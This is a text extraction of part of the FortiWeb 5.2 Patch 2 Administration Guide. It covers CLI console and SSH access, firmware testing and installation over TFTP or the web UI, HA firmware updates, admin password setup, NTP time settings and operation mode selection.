To connect to the CLI using a local console connection
1. Using the RJ-45-to-DB-9 or null modem cable, connect your computer’s serial communications (COM) port to the FortiWeb appliance’s console port.
2. Verify that the FortiWeb appliance is powered on.
3. On your management computer, start PuTTY .
4. In the Category tree on the left, go to Connection > Serial and configure the following:
Serial line to connect to
COM1 (or, if your computer has multiple serial ports, the name of the connected serial port)
Speed (baud)
Data bits
Stop bits
9600
8
1
82 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Parity
Flow control
None
None
5. In the Category tree on the left, go to Session (not the sub-node, Logging) and from
Connection type, select Serial.
6. Click Open.
7. Press the Enter key to initiate a connection.
The login prompt appears.
8. Type admin then press Enter twice. (In its default state, there is no password for the admin account.)
The CLI displays the following text, followed by a command line prompt:
Welcome!
You can now enter commands. To continue by updating the firmware, see
“Updating the firmware” on page 85
. Otherwise, to continue by setting an administrative password, see
“Changing the “admin” account password” on page 98 . For information about how to use
the CLI, see the
FortiWeb CLI Reference
.
Requirements
• a computer with an RJ-45 Ethernet port
• a crossover Ethernet cable (if connecting directly) or straight-through Ethernet cable (if connecting through a switch or router)
• a FortiWeb network interface configured to accept SSH connections (In its default state, port1 accepts SSH. You may need to connect directly first in order to configure a static route so that, later, you can connect through routers. For details, see
“Adding a gateway” on page 135
.)
• an SSH client, such as PuTTY
To connect to the CLI using an SSH connection
1. On your management computer, configure the Ethernet port with the static IP address
192.168.1.2 with a netmask of 255.255.255.0.
2. Using the Ethernet cable, connect your computer’s Ethernet port to the FortiWeb appliance’s port1.
3. Verify that the FortiWeb appliance is powered on.
4. On your management computer, start PuTTY .
Initially, the Session category of settings is displayed.
5. In Host Name (or IP Address), type 192.168.1.99.
6. In Port, type 22.
7. From Connection type, select SSH.
8. Select Open.
The SSH client connects to the FortiWeb appliance.
The SSH client may display a warning if this is the first time you are connecting to the
FortiWeb appliance and its SSH key is not yet recognized by your SSH client, or if you have previously connected to the FortiWeb appliance but it used a different IP address or SSH key. If your management computer is directly connected to the FortiWeb appliance with no network hosts between them, this is normal.
9. Click Yes to verify the fingerprint and accept the FortiWeb appliance’s SSH key. You cannot log in until you accept the key.
The CLI displays a login prompt.
83 FortiWeb 5.2 Patch 2 Administration Guide
10.Type admin and press Enter. (In its default state, there is no password for this account.)
If 3 incorrect login or password attempts occur in a row, your IP address will be temporarily blacklisted from the GUI and CLI (network, not console). This is to protect the appliance from brute force login attacks. Wait 1 minute, then attempt the login again.
The CLI displays a prompt, such as:
FortiWeb #
You can now enter commands. To continue by updating the firmware, see
“Updating the firmware” on page 85
. Otherwise, to continue by setting an administrative password, see
“Changing the “admin” account password” on page 98 .
For information about how to use the CLI, see the
FortiWeb CLI Reference
.
Fortinet 84 FortiWeb 5.2 Patch 2 Administration Guide
Updating the firmware
Your new FortiWeb appliance comes with the latest operating system (firmware) when shipped.
However, if a new version has been released since your appliance was shipped, you should install it before you continue the installation.
Fortinet periodically releases FortiWeb firmware updates to include enhancements and address issues. After you register your FortiWeb appliance, FortiWeb firmware is available for download at: https://support.fortinet.com
Installing new firmware can overwrite attack signature packages using the versions of the packages that were current at the time that the firmware image was built. To avoid repeat updates, update the firmware before updating your FortiGuard packages.
New firmware can also introduce new features which you must configure for the first time.
For late-breaking information specific to the firmware release version, see the Release Notes available with that release.
In addition to major releases that contain new features, Fortinet releases patch releases that resolve specific issues without containing new features and/or changes to existing features. It is recommended to download and install patch releases as soon as they are available.
Before you can download firmware updates for your FortiWeb appliance, you must first register your FortiWeb appliance with Fortinet Technical Support. For details, go to https://support.fortinet.com/ or contact Fortinet Technical Support.
See also
•
Testing new firmware before installing it
•
•
Fortinet
Testing new firmware before installing it
You can test a new firmware image by temporarily running it from memory, without saving it to disk. By keeping your existing firmware on disk, if the evaluation fails, you do not have to re-install your previous firmware. Instead, you can quickly revert to your existing firmware by simply rebooting the FortiWeb appliance.
To test a new firmware image
1. Download the firmware file from the Fortinet Technical Support web site: https://support.fortinet.com/
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance.
For details, see
“Connecting to the web UI or CLI” on page 78
.
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
85 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
5. Copy the new firmware image file to the root directory of the TFTP server.
6. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as tftpd ( Windows , Mac OS X , or Linux ) on your management computer.)
Because TFTP is not secure, and because it does not support authentication and could allow anyone to have read and write access, you should only run it on trusted administrator-only networks, never on computers directly connected to the Internet. If possible, immediately turn off tftpd off when you are done.
7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.
To use the FortiWeb CLI to verify connectivity, enter the following command: execute ping 192.168.1.168
where 192.168.1.168 is the IP address of the TFTP server.
8. Enter the following command to restart the FortiWeb appliance: execute reboot
9. As the FortiWeb appliances starts, a series of system startup messages appear.
Press any key to display configuration menu........
10.Immediately press a key to interrupt the system startup.
You have only three seconds to press a key. If you do not press a key soon enough, the
FortiWeb appliance reboots and you must log in and repeat the execute reboot command.
If you successfully interrupt the startup process, the following messages appears:
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
Enter G,F,B,Q,or H:
Please connect TFTP server to Ethernet port "1".
11.Type G to get the firmware image from the TFTP server.
The following message appears:
Enter TFTP server address [192.168.1.168]:
12.Type the IP address of the TFTP server and press Enter.
The following message appears:
Enter local address [192.168.1.188]:
13.Type a temporary IP address that can be used by the FortiWeb appliance to connect to the
TFTP server.
The following message appears:
Enter firmware image file name [image.out]:
86 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
14.Type the firmware image file name and press Enter.
The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar to the following:
MAC:00219B8F0D94
###########################
Total 28385179 bytes data downloaded.
Verifying the integrity of the firmware image..
Save as Default firmware/Backup firmware/Run image without saving:[D/B/R]?
If the download fails after the integrity check with the error message: invalid compressed format (err=1) but the firmware matches the integrity checksum on the Fortinet Technical Support web site, try a different TFTP server.
15.Type R.
The FortiWeb image is loaded into memory and uses the current configuration, without saving the new firmware image to disk.
16.To verify that the new firmware image was loaded, log in to the CLI and type: get system status
17.Test the new firmware image.
• If the new firmware image operates successfully, you can install it to disk, overwriting the existing firmware, using the procedure
“Installing firmware” on page 87 .
• If the new firmware image does not operate successfully, reboot the FortiWeb appliance to discard the temporary firmware and resume operation using the existing firmware.
See also
•
•
Installing firmware
You can use either the web UI or the CLI to upgrade or downgrade the appliance’s operating system.
Firmware changes are either:
• an update to a newer version
• a reversion to an earlier version
To determine if you are updating or reverting the firmware, go to System > Status > Status and in the System Information widget, see the Firmware Version row. (Alternatively, in the CLI, enter the command get system status.)
For example, if your current firmware version is:
FortiWeb-VM 4.32,build0531,111031 changing to
FortiWeb-VM 4.32,build0530,110929
87 FortiWeb 5.2 Patch 2 Administration Guide
an earlier build number (530) and date (110929 means September 29, 2011), indicates that you are reverting.
Back up all parts of your configuration before beginning this procedure. Some backup types do
not include the full configuration. For full backup instructions, see “Backups” on page 215 .
Reverting to an earlier firmware version could reset settings that are not compatible with the new firmware. For example, FortiWeb 5.0 configuration files are not compatible with previous firmware versions. If you later decide to downgrade to FortiWeb 4.4.6 or earlier, your FortiWeb appliance will lose its configuration. To restore the configuration, you will need a backup that is compatible with the older firmware.
For information on reconnecting to a FortiWeb appliance whose network interface configuration was reset, see
“Connecting to the web UI or CLI” on page 78 .
If you are installing a firmware version that requires a different size of system partition, you may be required to format the boot device before installing the firmware by re-imaging the boot device. Consult the Release Notes. In that case, do not install the firmware using this procedure. Instead, see
“Restoring firmware (“clean install”)” on page 696
.
To install firmware via the web UI
1. Download the firmware file from the Fortinet Technical Support web site: https://support.fortinet.com/
2. Log in to the web UI of the FortiWeb appliance as the admin administrator, or an administrator account whose access profile contains Read and Write permissions in the
Maintenance category.
Updating firmware on an HA pair requires some additions to the usual steps for a standalone appliance. For details, see
“Updating firmware on an HA pair” on page 91 .
3. Go to System > Status > Status.
4. In the System Information widget, in the Firmware Version row, click Update.
Fortinet
The Firmware Upgrade/Downgrade dialog appears.
5. Click Browse to locate and select the firmware file that you want to install, then click OK.
88 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
6. Click OK.
Your management computer uploads the firmware image to the FortiWeb appliance. The
FortiWeb appliance installs the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.
If you are downgrading the firmware to a previous version, and the settings are not fully backwards compatible, the FortiWeb appliance may either remove incompatible settings, or use the feature’s default values for that version of the firmware. You may need to reconfigure some settings.
7. Clear the cache of your web browser and restart it to ensure that it reloads the web UI and correctly displays all interface changes. For details, see your browser's documentation.
8. To verify that the firmware was successfully installed, log in to the web UI and go to
System > System > Status.
In the System Information widget, the Firmware Version row indicates the currently installed firmware version.
.
10.Continue with
“Changing the “admin” account password” on page 98 .
Installing firmware replaces the current attack definitions with those included with the firmware release that you are installing. If you are updating or rearranging an existing deployment, after you install new firmware, make sure that your attack definitions are up-to-date. For more information, see
“Manually initiating update requests” on page 153 .
To install firmware via the CLI
1. Download the firmware file from the Fortinet Technical Support web site: https://support.fortinet.com/
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
Updating firmware on an HA pair requires some additions to the usual steps for a standalone appliance. For details, see
“Updating firmware on an HA pair” on page 91 .
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the admin administrator, or an administrator account whose access profile contains Read and Write permissions in the Maintenance category.
For details, see
“Connecting to the web UI or CLI” on page 78
.
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
5. Copy the new firmware image file to the root directory of the TFTP server.
89 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
6. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as tftpd ( Windows , Mac OS X , or Linux ) on your management computer.)
Because TFTP is not secure, and because it does not support authentication and could allow anyone to have read and write access, you should only run it on trusted administrator-only networks, never on computers directly connected to the Internet. If possible, immediately turn off tftpd off when you are done.
7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.
To use the FortiWeb CLI to verify connectivity, enter the following command: execute ping 192.168.1.168
where 192.168.1.168 is the IP address of the TFTP server.
8. Enter the following command to download the firmware image from the TFTP server to the
FortiWeb appliance: execute restore image tftp <name_str> <tftp_ipv4> where <name_str> is the name of the firmware image file and <tftp_ipv4> is the IP address of the TFTP server. For example, if the firmware image file name is image.out and the IP address of the TFTP server is 192.168.1.168, enter: execute restore image tftp image.out 192.168.1.168
One of the following message appears:
This operation will replace the current firmware version!
Do you want to continue? (y/n) or:
Get image from tftp server OK.
Check image OK.
This operation will downgrade the current firmware version!
Do you want to continue? (y/n)
9. Type y.
The FortiWeb appliance downloads the firmware image file from the TFTP server. The
FortiWeb appliance installs the firmware and restarts:
MAC:00219B8F0D94
###########################
Total 28385179 bytes data downloaded.
Verifying the integrity of the firmware image.
Save as Default firmware/Backup firmware/Run image without saving:[D/B/R]?
If the download fails after the integrity check with the error message: invalid compressed format (err=1) but the firmware matches the integrity checksum on the Fortinet Technical Support web site, try a different TFTP server.
90 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
The time required varies by the size of the file and the speed of your network connection.
If you are downgrading the firmware to a previous version, the FortiWeb appliance reverts the configuration to default values for that version of the firmware. You will need to reconfigure the FortiWeb appliance or restore the configuration file from a backup. For details, see
“Connecting to the web UI or CLI” on page 78
and, if you opt to restore the configuration,
“Restoring a previous configuration” on page 219
.
10.To verify that the firmware was successfully installed, log in to the CLI and type: get system status
The firmware version number is displayed.
.
12.Continue with
“Changing the “admin” account password” on page 98 .
Installing firmware replaces the current FortiGuard packages with those included with the firmware release that you are installing. If you are updating or rearranging an existing deployment, after you install new firmware, make sure that your attack definitions are up-to-date. For more information, see
“Manually initiating update requests” on page 153 .
See also
•
Updating firmware on an HA pair
•
•
Manually initiating update requests
Updating firmware on an HA pair
Installing firmware on an HA pair is similar to installing firmware on a single, standalone appliance.
To ensure minimal interruption of service to clients, use the following steps.
This update procedure is only valid for upgrading from FortiWeb 4.0 MR4 or newer.
If you are upgrading from FortiWeb 4.0 MR3, for example, the active appliance will not automatically send the new firmware to the standby; you must quickly connect to the standby and manually install the new firmware while the originally active appliance is upgrading and rebooting. Alternatively, switch the appliances out of HA mode, upgrade them individually, then switch them back into HA mode.
If downgrading to a previous version, do not use this procedure. The HA daemon on the standby appliance might detect that the main appliance has older firmware, and attempt to upgrade it to bring it into sync, undoing your downgrade.
Instead, switch out of HA, downgrade each appliance individually, then switch them back into
HA mode.
91 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
To update the firmware of an HA pair
1. Verify that both of the members in the HA pair are powered on and available on all of the network interfaces that you have configured.
If required ports are not available, HA port monitoring could inadvertently trigger an additional failover and traffic interruption during the firmware update.
2. Log in to the web UI of the primary appliance as the admin administrator. (You cannot connect to an appliance while it is the standby.)
Alternatively, log on with an administrator account whose access profile contains Read and
Write permissions in the Maintenance category.
3. Install the firmware on the primary appliance. For details, see
uploaded the file:
Sending the new firmware file to the standby. Please wait and keep the web GUI untouched...
Closing your browser window or using the back or forward buttons can interrupt the
upgrade process, resulting in a split brain problem — both the upgrade of the initial master and HA will be interrupted, because both appliances will believe they are the main appliance.
The primary appliance will transmit the firmware file to the standby appliance over its HA link.The standby appliance will upgrade its firmware first; on the active appliance, this will be recorded in an event log message such as:
Member (FV-1KC3R11111111) left HA group
After the standby appliance reboots and indicates via the HA heartbeat that it is up again, the primary appliance will begin to update its own firmware. During that time, the standby appliance will temporarily become active and process your network’s traffic. After the original appliance reboots, it indicates via the HA heartbeat that it is up again. Which appliance will assume the active role of traffic processing depends on your configuration
(see
“How HA chooses the active appliance” on page 44
):
• If
is enabled, the cluster will consider your
setting. Therefore both appliances usually make a second failover in order to resume their original roles.
• If
is disabled, the cluster will consider uptime first. The original primary appliance
will have a smaller uptime due to the order of reboots during the firmware upgrade.
Therefore it will not resume its active role; instead, the standby will remain the new primary appliance. A second failover will not occur.
Reboot times vary by the appliance model, and also by differences between the original firmware and the firmware you are installing, which may require the installer to convert the configuration and/or disk partitioning schemes to be compatible with the new firmware version.
See also
•
•
Configuring a high availability (HA) FortiWeb cluster
92 FortiWeb 5.2 Patch 2 Administration Guide
Installing alternate firmware
You can install alternate firmware which can be loaded from its separate partition if the primary firmware fails. This can be accomplished via the web UI or CLI.
To install alternate firmware via the web UI
1. Download the firmware file from the Fortinet Technical Support web site: https://support.fortinet.com/
2. Log in to the web UI of the FortiWeb appliance as the admin administrator, or an administrator account whose access profile contains Read and Write permissions in the
Maintenance category.
Updating firmware on an HA pair requires some additions to the usual steps for a standalone appliance. For details, see
“Updating firmware on an HA pair” on page 91
.
3. Go to System > Maintenance > Backup & Restore.
Fortinet
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Maintenance category. For details, see
4. In the Firmware area, in the row of the alternate partition, click Upload and Reboot.
The Firmware Upgrade/Downgrade dialog appears.
5. Click Browse to locate and select the firmware file that you want to install, then click OK.
93 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
6. Click OK.
Your management computer uploads the firmware image to the FortiWeb appliance. The
FortiWeb appliance installs the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.
If you are downgrading the firmware to a previous version, and the settings are not fully backwards compatible, the FortiWeb appliance may either remove incompatible settings, or use the feature’s default values for that version of the firmware. You may need to reconfigure some settings.
7. Clear the cache of your web browser and restart it to ensure that it reloads the web UI and correctly displays all interface changes. For details, see your browser's documentation.
8. To verify that the firmware was successfully installed, log in to the web UI and go to
System > System > Status.
In the System Information widget, the Firmware Version row indicates the currently installed firmware version.
To install alternate firmware via the CLI
1. Download the firmware file from the Fortinet Technical Support web site: https://support.fortinet.com/
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the admin administrator, or an administrator account whose access profile contains Read and Write permissions in the Maintenance category.
For details, see
“Connecting to the web UI or CLI” on page 78
.
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
5. Copy the new firmware image file to the root directory of the TFTP server.
6. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as tftpd ( Windows , Mac OS X , or Linux ) on your management computer.)
Because TFTP is not secure, and because it does not support authentication and could allow anyone to have read and write access, you should only run it on trusted administrator-only networks, never on computers directly connected to the Internet. If possible, immediately turn off tftpd off when you are done.
7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.
To use the FortiWeb CLI to verify connectivity, enter the following command: execute ping 192.168.1.168
where 192.168.1.168 is the IP address of the TFTP server.
8. Enter the following command to restart the FortiWeb appliance: execute reboot
9. As the FortiWeb appliances starts, a series of system startup messages appear.
Press any key to display configuration menu........
94 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
10.Immediately press a key to interrupt the system startup.
You have only 3 seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the execute reboot command.
If you successfully interrupt the startup process, the following messages appears:
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
Enter G,F,B,Q,or H:
Please connect TFTP server to Ethernet port "1".
11.Type G to get the firmware image from the TFTP server.
The following message appears:
Enter TFTP server address [192.168.1.168]:
12.Type the IP address of the TFTP server and press Enter.
The following message appears:
Enter local address [192.168.1.188]:
13.Type a temporary IP address that can be used by the FortiWeb appliance to connect to the
TFTP server.
The following message appears:
Enter firmware image file name [image.out]:
14.Type the firmware image file name and press Enter.
The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar to the following:
MAC:00219B8F0D94
###########################
Total 28385179 bytes data downloaded.
Verifying the integrity of the firmware image.
Save as Default firmware/Backup firmware/Run image without saving:[D/B/R]?
If the download fails after the integrity check with the error message: invalid compressed format (err=1) but the firmware matches the integrity checksum on the Fortinet Technical Support web site, try a different TFTP server.
15.Type B.
The FortiWeb appliance saves the backup firmware image and restarts. When the FortiWeb appliance reboots, it is running the primary firmware.
95 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Booting from the alternate partition
•
•
Manually initiating update requests
Booting from the alternate partition
System > Maintenance > Backup & Restore lists the firmware versions currently installed on your FortiWeb appliance.
Each appliance can have up to two firmware versions installed. Each firmware version is stored in a separate partition. The partition whose firmware is currently running is noted with a white check mark in a green circle in the Active column.
To boot into alternate firmware via the web UI
1. Install firmware onto the alternate partition (see
“Installing alternate firmware” on page 93
).
2. Go to System > Maintenance > Backup & Restore.
Fortinet
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Maintenance category. For details, see
3. In the Firmware area, click Boot alternate firmware.
A warning message appears.
4. Click OK.
A message appears instructing you to refresh your browser in a few minutes after the appliance has booted the other firmware.
To boot into alternate firmware via the local console CLI
1. Install firmware onto the alternate partition (see
“Installing alternate firmware” on page 93
).
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
96 FortiWeb 5.2 Patch 2 Administration Guide
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the admin administrator, or an administrator account whose access profile contains Read and Write permissions in the Maintenance category.
For details, see
“Connecting to the web UI or CLI” on page 78
.
4. Enter the following command to restart the FortiWeb appliance: execute reboot
5. As the FortiWeb appliances starts, a series of system startup messages appear.
Press any key to display configuration menu........
Immediately press a key to interrupt the system startup.
You have only 3 seconds to press a key. If you do not press a key soon enough, the
FortiWeb appliance reboots and you must log in and repeat the execute reboot command.
If you successfully interrupt the startup process, the following messages appears:
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
Enter G,F,B,Q,or H:
Please connect TFTP server to Ethernet port "1".
6. Type B to reboot and use the backup firmware.
See also
•
Fortinet 97 FortiWeb 5.2 Patch 2 Administration Guide
Changing the “admin” account password
The default administrator account, named admin, initially has no password.
Unlike other administrator accounts, the admin administrator account exists by default and cannot be deleted. The admin administrator account is similar to a root administrator account.
This administrator account always has full permission to view and change all FortiWeb configuration options, including viewing and changing all other administrator accounts. Its name and permissions cannot be changed.
Before you connect the FortiWeb appliance to your overall network, you should configure the admin
account with a password to prevent others from logging in to the FortiWeb and changing its configuration.
Set a strong password for the admin administrator account, and change the password regularly. Failure to maintain the password of the admin administrator account could compromise the security of your FortiWeb appliance. As such, it can constitute a violation of
PCI DSS compliance and is against best practices. For improved security, the password should be at least eight characters long, be sufficiently complex, and be changed regularly. To check the strength of your password, you can use a utility such as Microsoft’s password strength meter .
To change the admin administrator password via the web UI
1. Go to System > Admin > Administrators.
2. In the row corresponding to the admin administrator account, mark its check box.
3. Click Change Password.
4. In the Old Password field, do not enter anything. (In its default state, there is no password for the admin account.)
5. In the New Password field, enter a password with sufficient complexity and number of characters to deter brute force and other attacks.
6. In the Confirm Password field, enter the new password again to confirm its spelling.
7. Click OK.
8. Click Logout.
The FortiWeb appliance logs you out. To continue using the web UI, you must log in again.
The new password takes effect the next time that administrator account logs in.
To change the admin administrator password via the CLI
Enter the following commands: config system admin edit admin set password <new-password_str> '' end exit where <new-password_str> is the password for the administrator account named admin.
The FortiWeb appliance logs you out. To continue working in the CLI, you must log in again using the new password. The new password will take effect only for newly initiated sessions in the CLI or web UI.
Fortinet 98 FortiWeb 5.2 Patch 2 Administration Guide
Setting the system time & date
You can either manually set the FortiWeb system time or configure the FortiWeb appliance to automatically keep its system time correct by synchronizing with a Network Time Protocol (NTP) server.
For many features to work, including scheduling, logging, and SSL/TLS-dependent features, the FortiWeb system time must be accurate.
To configure the system time via the web UI
1. Go to System > Maintenance > System Time.
The Time Settings dialog appears in a pop-up window.
Alternatively, go to System > Status > Status. In the System Information widget, in the
System Time row, click Change.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Maintenance category. For details, see
2. From Time Zone, select the time zone where the FortiWeb appliance is located.
Fortinet 99 FortiWeb 5.2 Patch 2 Administration Guide
3. If you want FortiWeb to automatically synchronize its clock with an NTP server
(recommended), configure these settings:
Setting name Description
Synchronize with NTP
Server
Server
Select this option to automatically synchronize the date and time of the FortiWeb appliance’s clock with an NTP server, then configure the
Server
and
Sync Interval
fields before you click Apply.
Type the IP address or domain name of an NTP server or pool, such as pool.ntp.org. To find an NTP server that you can use, go to http://www.ntp.org
.
Sync Interval
Enter how often in minutes the FortiWeb appliance should synchronize its time with the NTP server. For example, entering 1440 causes the FortiWeb appliance to synchronize its time once a day.
NTP requires that FortiWeb be able to connect to the Internet on UDP port 123.
Otherwise, select Set Time, then manually set the current date and time. If you want
FortiWeb to automatically adjust its own clock when its time zone changes between daylight saving time (DST) and standard time, enable Automatically adjust clock for daylight saving
changes.The clock will be initialized with your manually specified time when you click OK.
4. Click OK.
If you manually configured the time, or if you enabled NTP and the NTP query for the current time succeeds, the new clock time should appear in System time. (If the query reply is slow, you may need to wait a couple of seconds, then click Refresh to update the display in
System time.)
Fortinet
If the NTP query fails, the system clock will continue without adjustment. If FortiWeb’s time was 3 hours late, for example, the time will still be 3 hours late. Verify your DNS server IPs, your NTP server IP or name, routing, and that your firewalls or routers do not block or proxy
UDP port 123.
100 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
To configure NTP via the CLI
To synchronize with an NTP server, enter the following commands: config system global set ntpsync enable set timezone <timezone_index> set ntpserver {<server_fqdn> | <server_ipv4>} end where:
•
<timezone_index>
is the index number of the time zone in which the FortiWeb appliance is located (to view the list of valid time zones and their associated index numbers, enter a question mark)
•
{<server_fqdn> | <server_ipv4>}
is a choice of either the IP address or fully qualified domain name (FQDN) of the NTP server, such as pool.ntp.org
If your NTP query succeeds, the new clock time should appear when you enter the command: get system status
If the NTP query fails, the system clock will continue without adjustment. If FortiWeb’s time was 3 hours late, for example, the time will still be 3 hours late. Verify your DNS server IPs, your NTP server IP or name, routing, and that your firewalls or routers do not block or proxy
UDP port 123.
To manually set the date and time via the CLI
To manually configure the FortiWeb appliance’s system time and disable the connection to an NTP server, enter the following commands: config system global set ntpsync disable set timezone <timezone_index> set dst {enable | disable} end execute time <time_str> execute date <date_str> where:
•
<timezone_index>
is the index number of the time zone in which the FortiWeb appliance is located (to view the list of valid time zones and their associated index numbers, enter a question mark)
• dst {enable | disable}
is a choice between enabling or disabling daylight saving time (DST) clock adjustments
•
<time_str>
is the time for the time zone in which the FortiWeb appliance is located according to a 24-hour clock, formatted as hh:mm:ss (hh is the hour, mm is the minute, and ss is the second)
•
<date_str>
is the date for the time zone in which the FortiWeb appliance is located, formatted as yyyy-mm-dd (yyyy is the year, mm is the month, and dd is the day)
See also
•
101 FortiWeb 5.2 Patch 2 Administration Guide
Setting the operation mode
Once the FortiWeb appliance is mounted and powered on, you have physically connected the
FortiWeb appliance to your overall network, and you have connected to either the FortiWeb appliance’s web UI or CLI, you must configure the operation mode.
You will usually set the operation mode once, during installation or when using the
Setup Wizard. Exceptions include if you install the FortiWeb appliance in offline protection mode for evaluation or transition purposes, before deciding to switch to another mode for more feature support in a permanent deployment. (See also
“Switching out of offline protection mode” on page 214 .)
The physical topology must match the operation mode. For details, see
“Planning the network topology” on page 66
and “How to choose the operation mode” on page 68
.
To configure the operation mode via the web UI
Back up your configuration before changing the operation mode. (See “Backups” on page 215 .)
Changing modes deletes any policies not applicable to the new mode, all static routes, V-zone
IPs, TCP SYN flood protection settings, and VLANs. You also must re-cable your network topology to suit the operation mode, unless you are switching between the two transparent modes, which have similar network topology requirements.
1. Go to System > Config > Operation.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the System Configuration category. For details, see
Alternatively, go to System > Status > Status, then, in the System Information widget, next to
Operation Mode, click Change.
2. From Operation Mode, select one of the following modes:
• Reverse Proxy
• Offline Protection
• True Transparent Proxy
• Transparent Inspection
For details, see
“How to choose the operation mode” on page 68
.
Fortinet 102 FortiWeb 5.2 Patch 2 Administration Guide
Figure 19:Operation mode (reverse proxy)
Figure 20:Operation mode (true transparent proxy)
Fortinet
If you are changing to true transparent proxy or transparent inspection mode, also configure
Default Gateway with the IP address of the next hop router, and configure Management IP with the IP address of port1.
3. Click Apply.
4. If you have not yet adjusted the physical topology to suit the new operation mode, see
“Planning the network topology” on page 66
. You may also need to reconfigure IP addresses, static routes, bridges, and virtual servers, and enable or disable SSL on your web servers.
To configure the operation mode via the CLI
Back up your configuration before changing the operation mode. (See “Backups” on page 215 .)
Changing modes deletes any policies not applicable to the new mode, all static routes, V-zone
IPs, and VLANs. You may also need to re-cable your network topology to suit the operation mode. Exceptions may include switching between the two transparent modes, which have similar network topology requirements.
1. Enter the following commands: config system settings set opmode {offline-protection | reverse-proxy | transparent | transparent-inspection} end where {offline-protection | reverse-proxy | transparent | transparent-inspection}
is a choice between the available operation modes.
2. If you are changing to true transparent proxy or transparent inspection mode, also enter the following commands: config system settings set gateway <gateway_ipv4> end
where <gateway_ipv4> is the IP address of the gateway router (see “Adding a gateway” on page 135
).
FortiWeb will use the gateway setting to create a corresponding static route under config router static
with the first available index number. Packets will egress through port1, the hard-coded management network interface for the transparent operation modes.
103 FortiWeb 5.2 Patch 2 Administration Guide
3. If you have not yet adjusted the physical topology to suit the new operation mode, see
“Planning the network topology” on page 66
. You may also need to reconfigure IP addresses, static routes, bridges, and virtual servers, and enable or disable SSL/TLS on your web servers.
See also
•
•
Configuring the network settings
•
•
•
Configuring virtual servers on your FortiWeb
•
How operation mode affects server policy behavior
Fortinet 104 FortiWeb 5.2 Patch 2 Administration Guide
Configuring a high availability (HA) FortiWeb cluster
By default, FortiWeb appliances are each a single, standalone appliance. They operate independently.
If you have purchased more than one, however, you can configure the FortiWeb appliances to form an active-passive high availability (HA) FortiWeb cluster. This improves availability so that you can achieve 99.999% service level agreement (SLA) uptimes regardless of, for example, hardware failure or maintenance periods.
If you have multiple FortiWeb appliances but do not need failover, you can still synchronize the configuration. This can be useful for cloned network environments and externally load-balanced active-active HA. See
“Replicating the configuration without FortiWeb HA
.
HA requirements
• Two identical physical FortiWeb appliances (i.e., the same hardware model and firmware version (for example, both appliances could be a FortiWeb 3000C running FortiWeb 5.2
Patch 2))
• Redundant network topology: if the active appliance fails, physical network cabling and
• At least one physical port on both HA appliances connected directly, via crossover cables, or through switches (see
“HA heartbeat & synchronization” on page 40 )
• If using FortiWeb-VM, the license must be paid; trial licenses will not function
FortiWeb-VM supports HA. However, if you do not wish to use the native HA, you can use your hypervisor or VM environment manager to install your virtual appliances over a hardware cluster to improve availability. For example, VMware clusters can use vMotion or VMware HA.
Fortinet 105 FortiWeb 5.2 Patch 2 Administration Guide
Figure 21:HA topology and failover — IP address transfer to the new active appliance
Fortinet
For best fault tolerance, make sure that your topology is fully redundant, with no single points of failure.
For example, in Figure 21 , the switch, firewall, and Internet connection are all single points of
failure. If any should fail, web sites would be unavailable, despite the HA cluster. To prevent this, you would add a dual ISP connection to separate service providers, preferably with their own redundant pathways upstream. You would also add a standby firewall, and a standby switch.
The style of FortiWeb HA is active-passive: one appliance is elected to be the active appliance
(also called the primary, main, or master), applying the policies for all connections. The other is a passive standby (also called the secondary, or slave), which assumes the role of the active appliance and begins processing connections only if the active appliance fails.
The active and standby appliances detect failures by communicating through a heartbeat link that connects the two appliances in the HA pair. Failure is assumed when the active appliance is unresponsive to the heartbeat from the standby appliance for a configured amount of time:
Heartbeat timeout =
Detection Interval
x
Heartbeat Lost Threshold
